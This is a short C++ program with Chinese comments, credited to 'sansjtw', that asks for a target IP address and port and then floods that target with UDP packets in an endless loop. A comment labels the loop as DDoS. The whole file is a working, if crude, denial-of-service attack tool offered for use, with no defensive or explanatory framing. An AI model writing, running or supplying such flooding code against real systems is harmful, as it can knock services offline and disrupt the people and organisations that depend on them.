#include <iostream>
#include <cstdlib>
#include <cstring>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

using namespace std;

int main() {
    // 目标 IP 和端口
    string target_ip;
    int target_port;
    
    cout << "请输入目标 IP 地址：";
    cin >> target_ip;
    cout << "请输入目标端口：";
    cin >> target_port;
    
    // 创建套接字
    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        cerr << "创建套接字错误" << endl;
        return 1;
    }
    
    // 设置目标地址
    struct sockaddr_in target_addr;
    memset(&target_addr, 0, sizeof(target_addr));
    target_addr.sin_family = AF_INET;
    target_addr.sin_addr.s_addr = inet_addr(target_ip.c_str());
    target_addr.sin_port = htons(target_port);
    
    // DDoS 循环
    while (true) {
        // 发送数据包
        if (sendto(sockfd, "数据", 4, 0, (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
            cerr << "发送数据包错误" << endl;
            close(sockfd);
            return 1;
        }
        
        // 打印成功消息
        cout << "成功发送数据包至：" << target_ip << "，端口：" << target_port << endl;
    }
    
    // 关闭套接字
    close(sockfd);
    
    return 0;
}

// 创作: sansjtw 金条k sansjtw.xyz